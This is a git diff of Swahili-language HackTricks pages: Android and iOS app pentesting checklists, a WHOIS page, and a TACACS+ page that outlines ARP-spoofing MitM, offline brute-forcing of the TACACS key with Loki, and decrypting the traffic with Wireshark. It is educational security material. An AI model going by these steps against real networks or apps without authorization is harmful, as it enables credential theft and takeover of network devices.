### [Uchambuzi wa Kudumu](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Andaa mazingira ([mtandaoni](android-app-pentesting/#online-dynamic-analysis), [VM ya ndani au ya kimwili](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza data, kunakili/kubandika, kumbukumbu za kushindwa)?
|
||||
* [ ] [Taarifa za siri zinahifadhiwa kwenye mabadiliko ya SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Shughuli zilizowekwa wazi zinazoweza kudukuliwa](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Watoa Huduma zinazoweza kudukuliwa](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Huduma zilizowekwa wazi zinazoweza kudukuliwa](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Wapokeaji wa Matangazo wanaoweza kudukuliwa](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Je, programu inatuma habari kwa wazi/ikitumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? Je, ni rahisi kufanya MitM?
|
||||
* [ ] [Angalia trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza, kunakili/kubandika, machapisho ya kuharibika)?
|
||||
* [ ] [Taarifa za siri zinahifadhiwa kwenye mabandiko ya SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Shughuli Zilizowekwa Wazi zinazoweza kuchexploit](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Watoa Huduma Zilizoweza kuchexploit](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Huduma Zilizofichuliwa Zilizoweza kuchexploit](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Wapokeaji wa Matangazo Zilizoweza kuchexploit](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Je, programu inatuma taarifa kwa wazi/ikitumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM?
|
||||
* [ ] [Kagua trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Hii ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta kasoro za kawaida za Wavuti (Hacktricks ina habari nyingi kuhusu kasoro za Wavuti).
|
||||
* [ ] Angalia uwezekano wa [Majumuisho ya Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa stahiki utasaidia hapa)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudukua kutoka kwa programu (labda baadhi ya nywila...)
|
||||
* [ ] Angalia kwa uwezekano wa [Muingiliano wa Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa stahiki utasaidia hapa)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwenye programu (labda nywila fulani...)
|
||||
|
||||
### Baadhi ya habari za ufichaji/Deobfuscation
|
||||
|
||||
|
@ -77,18 +77,18 @@
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) and [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Orodha ya Ukaguzi wa iOS Pentesting
|
||||
# Orodha ya Uchunguzi wa iOS Pentesting
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za **jamii ya juu zaidi** ulimwenguni.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa kutumia zana za **jamii ya juu zaidi** ulimwenguni.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -24,7 +24,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -47,12 +47,12 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [ ] [**Vidakuzi vya Binary**](ios-pentesting/#cookies) vinaweza kuhifadhi habari nyeti
|
||||
* [ ] [**Data ya Cache**](ios-pentesting/#cache) inaweza kuhifadhi habari nyeti
|
||||
* [ ] [**Snapshots za Kiotomatiki**](ios-pentesting/#snapshots) zinaweza kuhifadhi habari nyeti za kuona
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumiwa kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu.
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumika kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu.
|
||||
* [ ] Kwa muhtasari, tu **angalia habari nyeti iliyohifadhiwa na programu kwenye mfumo wa faili**
|
||||
|
||||
### Vibodi
|
||||
|
||||
* [ ] Je! programu inaruhusu kutumia [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Je! Programu inaruhusu kutumia [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Angalia ikiwa habari nyeti imesave katika [**faili za vibodi**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Vichapishi**
|
||||
|
@ -61,8 +61,8 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
### Nakala za Akiba
|
||||
|
||||
* [ ] [**Nakala za Akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kupata habari nyeti** iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya kwanza ya orodha hii ya ukaguzi)
|
||||
* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kurekebisha baadhi ya mipangilio ya programu**, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **pakia** baadhi ya (usalama) **kazi** inaweza **kupuuzwa**
|
||||
* [ ] [**Nakala za Akiba**](ios-pentesting/#backups) zinaweza kutumika kufikia habari nyeti iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii)
|
||||
* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kubadilisha baadhi ya mipangilio ya programu, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **pakia** baadhi ya (usalama) **kazi** inaweza **kipuuzwa**
|
||||
|
||||
### **Kumbukumbu za Programu**
|
||||
|
||||
|
@ -71,14 +71,14 @@ Njia nyingine za kusaidia HackTricks:
|
|||
### **Ufichaji wa Kriptografia**
|
||||
|
||||
* [ ] Angalia ikiwa unaweza kupata [**nywila zilizotumiwa kwa kriptografia**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Angalia matumizi ya [**algorithms zilizopitwa na wakati/dhaifu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti
|
||||
* [ ] [**Kaa na fuatilia kazi za kriptografia**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Angalia matumizi ya [**algorithms zilizopitwa/zwafu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti
|
||||
* [ ] [**Kufunga na kufuatilia kazi za kriptografia**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **Uthibitishaji wa Kienyeji**
|
||||
|
||||
* [ ] Ikiwa [**uthibitishaji wa kienyeji**](ios-pentesting/#local-authentication) unatumika kwenye programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
|
||||
* [ ] Ikiwa [**uthibitishaji wa kienyeji**](ios-pentesting/#local-authentication) unatumika katika programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
|
||||
* [ ] Ikiwa inatumia [**Itifaki ya Uthibitishaji wa Kienyeji**](ios-pentesting/#local-authentication-framework) inaweza kudukuliwa kwa urahisi
|
||||
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kudukuliwa kwa muda**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda script ya frida ya desturi
|
||||
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kudukuliwa kwa kudumu**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda skripti ya frida ya desturi
|
||||
|
||||
### Ufunuo wa Kazi Nyeti Kupitia IPC
|
||||
|
||||
|
@ -86,14 +86,14 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu**
|
||||
* [ ] Angalia ikiwa programu ina **kujiandikisha kutumia** itifaki/mbinu yoyote
|
||||
* [ ] Angalia ikiwa programu ina **tarajia kupokea aina yoyote ya habari nyeti** kutoka kwa mbinu ya desturi ambayo inaweza **kutekwa** na programu nyingine inayojiandikisha itifaki sawa
|
||||
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** matokeo ya mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
|
||||
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
|
||||
* [ ] Angalia ikiwa programu **inafunua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi
|
||||
* [**Viungo vya Kina**](ios-pentesting/#universal-links)
|
||||
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu za kina**
|
||||
* [ ] Angalia faili ya `apple-app-site-association`
|
||||
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** matokeo ya mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
|
||||
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
|
||||
* [ ] Angalia ikiwa programu **inafunua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi
|
||||
* [**Kushiriki Kupitia UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [**Kushiriki Kazi ya UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa inawezekana kutumia udhaifu wowote na shughuli iliyoundwa kwa umakini
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Angalia ikiwa programu ina **kuchapisha kitu chochote kwenye ubao wa kawaida**
|
||||
|
@ -104,7 +104,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Angalia aina gani ya webviews inatumika
|
||||
* [ ] Angalia hali ya **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Angalia ikiwa webview inaweza **kufikia faili za ndani** kwa itifaki ya **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Angalia ikiwa webview inaweza **kufikia faili za ndani** kwa itifaki **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Angalia ikiwa Javascript inaweza kufikia **njia za Asili** (`JSContext`, `postMessage`)
|
||||
### Mawasiliano ya Mtandao
|
||||
|
||||
|
@ -119,13 +119,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -133,7 +133,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -8,13 +8,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
# Taarifa Msingi
|
||||
|
||||
Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia maktaba maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kiotomatiki, miongoni mwa zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa habari.
|
||||
Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia maktaba maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kiotomatiki, miongoni mwa zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa taarifa.
|
||||
|
||||
**Bandari ya chaguo:** 43
|
||||
```
|
||||
|
@ -48,7 +48,7 @@ Pia, huduma ya WHOIS daima inahitaji kutumia **database** kuhifadhi na kutoa hab
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -80,8 +80,8 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,33 +24,33 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumiwa kwa kuthibitisha watumiaji kwa kati wanajaribu kupata mitambo au Seva za Kufikia Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, linagawanya huduma katika uthibitishaji, idhini, na uhasibu (AAA).
|
||||
Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumika kwa kuthibitisha watumiaji kwa kati wanajaribu kupata mitambo au Seva za Kufikia Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, huchukua huduma na kuzigawa katika uthibitishaji, idhini, na uhasibu (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
```
|
||||
**Bandari ya chaguo:** 49
|
||||
|
||||
## Kukamata Kitufe cha Uthibitisho
|
||||
## Kukamata Kitufe cha Uthibitishaji
|
||||
|
||||
Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mshambuliaji, **kitufe cha uthibitisho kilichofichwa kinaweza kukamatwa**. Mshambuliaji kisha anaweza kujaribu **shambulio la nguvu la kienyeji dhidi ya kitufe bila kugunduliwa katika magogo**. Ikiwa mafanikio katika shambulio la nguvu dhidi ya kitufe, mshambuliaji anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark.
|
||||
Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mkaidi, **kitufe cha uthibitishaji kilichofichwa kinaweza kukamatwa**. Mkaidi kisha anaweza kujaribu **shambulio la nguvu la kimtandao dhidi ya kitufe bila kugunduliwa katika magogo**. Ikiwa mafanikio katika kuvunja nguvu kitufe, mkaidi anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark.
|
||||
|
||||
### Kutekeleza Shambulio la MitM
|
||||
|
||||
Shambulio la **ARP spoofing linaweza kutumika kutekeleza shambulio la Man-in-the-Middle (MitM)**.
|
||||
|
||||
### Shambulio la Nguvu dhidi ya Kitufe
|
||||
### Kuvunja Nguvu Kitufe
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kufanya shambulio la nguvu dhidi ya kitufe:
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kuvunja nguvu kitufe:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Ikiwa funguo inabainishwa kwa mafanikio (**kawaida katika muundo uliofichwa wa MD5)**, **tunaweza kupata vifaa na kufichua trafiki iliyofichwa ya TACACS.**
|
||||
Ikiwa funguo inabainishwa kwa mafanikio **(kawaida katika muundo uliofichwa wa MD5)**, **tunaweza kupata ufikiaji wa vifaa na kufichua trafiki iliyofichwa ya TACACS.**
|
||||
|
||||
### Kufichua Trafiki
|
||||
Marudio ya funguo ikifanikiwa kuvunjwa, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS.** Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa funguo imetolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama **bango lililotumiwa na jina la mtumiaji wa mtumiaji wa mizizi** inaweza kupatikana.
|
||||
Baada ya funguo kubainishwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa funguo imetolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama vile **bango lililotumiwa na jina la mtumiaji wa mtawala** inaweza kupatikana.
|
||||
|
||||
Kwa kupata ufikiaji wa kisanduku cha kudhibiti cha vifaa vya mtandao kwa kutumia sifa zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi.
|
||||
Kwa kupata ufikiaji kwenye kisanduku cha udhibiti wa vifaa vya mtandao kwa kutumia sifa zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -58,7 +58,7 @@ Kwa kupata ufikiaji wa kisanduku cha kudhibiti cha vifaa vya mtandao kwa kutumia
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -72,6 +72,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
